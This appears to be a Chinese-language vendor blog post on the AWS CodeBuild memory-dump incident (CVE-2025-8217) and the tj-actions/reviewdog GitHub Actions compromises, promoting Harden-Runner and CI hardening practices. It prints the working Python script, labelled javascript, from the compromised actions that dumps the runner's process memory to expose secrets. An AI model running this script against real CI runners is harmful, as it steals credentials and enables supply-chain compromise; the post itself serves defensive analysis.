从 AWS CodeBuild 内存转储事件中吸取的教训 (CVE-2025-8217)

威胁行为者如何通过从 CI/CD 内存中窃取凭据利用 AWS CodeBuild 流水线——以及组织可部署的主动防御措施以检测、响应和阻止此类攻击

2025年7月的 AWS CodeBuild 安全事件再次凸显了一种软件供应链攻击向量的危险性——这种攻击通过从内存中转储凭据来针对 CI/CD 构建流程。2025年7月25日,AWS 披露了其 CodeBuild 服务中的一个关键问题(公告 ID:AWS-2025-016)。安全研究人员证明,恶意贡献者可以提交一个 Pull Request(PR),当该 PR 被 CodeBuild 自动构建时,会利用构建环境从内存中提取源代码仓库的访问令牌。如果该令牌具有写入权限,攻击者随后便可对该仓库进行未经授权的代码修改,从而有效地提升其权限。

该漏洞(CVE-2025-8217)影响了所有区域的 CodeBuild,且并非纯粹的理论攻击——AWS 的调查发现,一个威胁行为者使用了这种技术窃取了 AWS Toolkit for Visual Studio Code 和 AWS SDK for .NET 源代码仓库的令牌。作为回应,AWS 发布了更新和指导,包括在 CodeBuild 中增加了针对内存转储的保护,并强烈建议用户禁用对不受信任 PR 的自动构建。

理解攻击技术

此次攻击利用了 CI/CD 环境中的内存转储。简而言之,内存转储是指攻击者读取进程 RAM 内容以查找敏感数据的过程。持续集成/持续部署(CI/CD)流水线通常在内存中包含凭据——例如,用于拉取代码、上传制品或触发下游作业的令牌或密钥。在 CodeBuild 事件中,恶意 PR 的构建步骤包含了扫描构建容器内存以定位仓库访问令牌的代码,然后将其外泄(例如,以某种编码形式打印出来)。这是对 CI 系统的巧妙滥用:构建过程在内存中持有该令牌(用于对仓库执行授权操作),而攻击者的代码能够将这些凭据转储出来。

值得注意的是,这种内存转储技术并非新出现的技术,在其他 CI 平台上也有观察到。攻击者已经了解到,通过向自动化构建工作流注入恶意代码,他们可以直接针对运行期间的内存中存储的凭据进行攻击。这些凭据可能包括源代码管理访问令牌、云凭据或 API 密钥。一旦获得,攻击者便可利用它们进行横向移动——例如,向仓库推送恶意代码(如 AWS 案例所示)或访问其他基础设施。

现实影响:GitHub Actions 内存转储攻击

AWS 的这一事件与近期针对 GitHub Actions 工作流的供应链攻击如出一辙,表明内存转储在 CI 中是一个更广泛的威胁。例如,2025年3月,流行的 GitHub Action tj-actions/changed-files(用于超过 23,000 个仓库)被入侵,并被植入恶意代码,旨在转储 CI 运行器的内存并暴露凭据。该 action 的漏洞载荷在 GitHub Actions 运行器的进程内存中搜索秘密令牌,并以混淆形式(双重 base64 编码)将它们打印到工作流日志中。由于许多受影响的仓库是公开的,敏感数据(如 AWS 密钥、GitHub 个人访问令牌、npm 令牌等)最终对任何检查日志的人都是可见的。这次攻击被追踪为 CVE-2025-30066,影响了数千个 CI 流水线,并凸显了单个被入侵的组件如何泄露组织范围的凭据。

这段代码被用于被入侵版本的 tj-actions/changed-files 和 reviewdog actions 中,以从内存中转储凭据。

javascript
#!/usr/bin/env python3 ... def get_pid(): # https://stackoverflow.com/questions/2703640/process-list-on-linux-via-python pids = [pid for pid in os.listdir('/proc') if pid.isdigit()] for pid in pids: with open(os.path.join('/proc', pid, 'cmdline'), 'rb') as cmdline_f: if b'Runner.Worker' in cmdline_f.read(): return pid raise Exception('Can not get pid of Runner.Worker') if __name__ == "__main__": pid = get_pid() print(pid) map_path = f"/proc/{pid}/maps" mem_path = f"/proc/{pid}/mem" with open(map_path, 'r') as map_f, open(mem_path, 'rb', 0) as mem_f: for line in map_f.readlines(): # for each mapped region m = re.match(r'([0-9A-Fa-f]+)-([0-9A-Fa-f]+) ([-r])', line) if m.group(3) == 'r': # readable region start = int(m.group(1), 16) end = int(m.group(2), 16) # hotfix: OverflowError: Python int too large to convert to C long # 18446744073699065856 if start > sys.maxsize: continue mem_f.seek(start) # seek to region start try: chunk = mem_f.read(end - start) # read region contents sys.stdout.buffer.write(chunk) except OSError: continue

大约在同一时间,reviewdog GitHub 组织中的多个 Actions 也遭到了相关攻击活动的入侵。威胁行为者首先篡改了 reviewdog action(例如 reviewdog/action-setup)来窃取凭据,然后利用这些凭据入侵了 tj-actions 代码,表明这是一次链式攻击。在这两种情况下,核心技术手法相同——注入恶意步骤,在 CI 运行期间从内存中读取凭据并记录它们(或以其他方式外泄)。这些真实案例表明,攻击者正在积极将 CI/CD 系统作为入口点。通过利用对自动化构建的信任,他们将 CI 工具变成了攻击工具。后果可能很严重:被盗的 CI 凭据可能授予对源代码、生产基础设施或私有包的访问权限,从而导致更广泛的供应链破坏。

StepSecurity Harden-Runner 如何检测基于内存的攻击

像内存转储攻击这样的威胁很难被传统安全工具捕获,因为它们发生在短暂的 CI/CD 作业中。这正是 StepSecurity 的 Harden-Runner 的用武之地。Harden-Runner 是 CI 运行器的安全代理(其工作原理类似于 GitHub Actions 工作流的"EDR"),监控作业的运行时行为以发现可疑活动。其突出的能力之一是检测 CI 环境中未经授权的内存读取尝试。在实践中,Harden-Runner 监视尝试访问运行器内存的进程,这是正常构建不应该做的行为。如果某个构建步骤试图转储运行器的内存以搜索凭据,Harden-Runner 会立即将其标记为威胁。

事实上,StepSecurity 团队模拟了 tj-actions/changed-files 事件中使用的确切攻击来测试 Harden-Runner。恶意 Action 在启用了 Harden-Runner 的受控环境中运行。结果:Harden-Runner 立即识别出内存转储活动并发出实时警报。恶意脚本试图扫描运行器内存的行为在 Harden-Runner 的安全洞察仪表板中清晰可见,使防御者能够在敏感数据被外泄之前做出响应。这种主动检测能力非常宝贵——与数小时甚至数天后才发现入侵(或只有在凭据在其他地方被滥用后才被发现)不同,团队在工作流运行期间就会收到攻击正在进行中的通知。通过在 CI/CD 流水线中部署这种运行时保护,组织可以在攻击者进行内存转储或其他恶意行为时当场捕获他们并阻止他们。

超越内存转储:使用 Harden-Runner 实现全面的 CI/CD 安全

内存转储检测只是 Harden-Runner 提供的众多防御措施之一。现代 CI/CD 攻击可以采取多种形式,因此全面的监控至关重要。Harden-Runner 提供了一套广泛的检测能力来保护构建流水线:

异常出站网络调用

Harden-Runner 监控来自构建作业的出站网络流量,并学习每个工作流的正常基线。如果某个作业突然尝试调用异常的外部 URL 或向意外主机发送数据,Harden-Runner 将对此异常发出警报。这有助于捕获外泄尝试——例如,如果构建中的恶意软件试图将您的凭据数据发送到攻击者的服务器,或仅仅是连接到新域名(如 tj-actions/changed-files 被入侵的 action 联系 gist URL 时发生的情况),您会立即知晓。您甚至可以配置 Harden-Runner 阻止不允许的连接,有效阻止数据离开您的 CI 环境。

可疑的 GitHub API 使用

该工具还关注来自运行器的 GitHub API 调用。许多工作流会合法调用 GitHub API(例如创建 issues 或更新提交状态),但持有被盗令牌的攻击者可能以异常方式滥用 API。Harden-Runner 跟踪这些调用并可以突出显示异常模式。这不仅可以揭示 GitHub 令牌被滥用的情况,还可以帮助开发者了解他们的工作流是否请求了超出必要范围的 GitHub 权限。

特权容器的使用

某些 CI 作业在容器内运行,这些容器可以以"特权"模式启动(授予它们对主机系统的高级访问权限)。在大多数 CI/CD 场景中,使用特权容器是不必要的且有风险的。Harden-Runner 检测工作流或 action 何时尝试启动特权容器或在构建环境中提升权限。相关警报可以表明潜在攻击(例如恶意软件试图逃离 CI 沙箱)或需要纠正的配置错误。通过捕获此类情况,Harden-Runner 有助于在您的流水线中维护最小权限原则。

反向 shell 检测

高级攻击者的常见目标是建立反向 shell——即从 CI 运行器到远程服务器打开一个后门,使攻击者能够对构建机器进行交互式控制。Harden-Runner 监控进程行为,并将检测与反向 shell 一致的模式。如果某个 action 或脚本试图创建反向 shell,Harden-Runner 可以触发警报。这可以防止攻击者使用您的 CI 工作器作为进入网络的立足点,或转向其他系统。一般来说,运行器中任何未知的进程执行或异常系统调用行为都在审查范围内——提供了超越网络监控的防御层。

通过覆盖网络、文件系统、内存和进程级信号,Harden-Runner 为 CI/CD 环境提供了纵深防御。它充当看门狗,可以检测各种可疑活动——从静默读取内存中的凭据,到呼叫陌生的服务器,到生成未经授权的进程——并实时警报或阻止这些威胁。这种级别的可见性大大缩小了攻击者的机会窗口,并让安全团队有机会在造成损害之前做出响应。

降低 CI/CD 流水线风险的推荐最佳实践

除了利用先进的安全工具外,组织还应遵循最佳实践来加强其 CI/CD 流水线,抵御像 CodeBuild 事件这样的攻击:

部署强化运行器或监控代理

将安全监控集成到您的 CI/CD 运行器中。专用工具(如 StepSecurity 的 Harden-Runner)或类似解决方案增加了实时可见性,可以自动检测/阻止构建代理上的恶意行为。目标是像对待生产服务器一样对 CI/CD 基础设施进行安全审查——不要让它成为一个盲点。

最小化凭据和权限

对 CI 中使用的任何令牌、密钥或凭据遵循最小权限原则。审查您的 CI 服务令牌拥有哪些权限。尽可能使用只读或有范围限制的令牌来拉取代码和运行测试。除非绝对必要,否则避免提供对代码仓库或敏感系统具有写访问权限的凭据。事实上,AWS 在 CodeBuild 事件后给出的指导是撤销任何权限过高的令牌(例如允许提交的令牌)并轮换它们。通过限制 CI 令牌可以执行的操作,您可以显著减少凭据泄露时的影响。还要考虑使用快速过期的短期凭据(例如,GitHub 默认的 GITHUB_TOKEN 范围有限且会自动过期,这有助于限制 GitHub Actions 攻击中的爆炸半径)。

限制不受信任的构建触发

对来自外部或不受信任贡献者的代码自动运行构建时要谨慎。许多 CI 服务允许维护者对首次或外部贡献要求手动批准——使用这些设置来防止未经审核的代码在没有监督的情况下在您的流水线中执行。鉴于 CodeBuild 的漏洞,AWS 明确建议禁用对不受信任贡献者的自动 PR 构建。在实践中,这可能意味着关闭对来自 forked 仓库的 pull request 的自动构建,或者使用单独的隔离环境进行此类构建。如果您确实为外部 PR 启用了构建(例如,在开源项目中您希望测试贡献),请确保这些构建以减少的权限运行:不能访问部署凭据、有限的 secrets,也许还需要在强化基础设施上运行。在运行使用敏感凭据的工作流之前,始终审查代码变更。

总结

通过积极从 AWS CodeBuild 和 GitHub Actions 供应链攻击等事件中学习,团队可以加强他们的防御。CI/CD 系统是现代软件交付的引擎,必须像任何生产环境一样受到严格保护。采取诸如收紧访问控制、避免有风险的默认行为以及为流水线部署运行时安全等措施,将显著降低成功攻击的风险。借鉴这些经验教训——再加上像 Harden-Runner 这样的工具提供的额外防线——组织可以强有力地保护其软件供应链,抵御即使是最复杂的 CI/CD 威胁。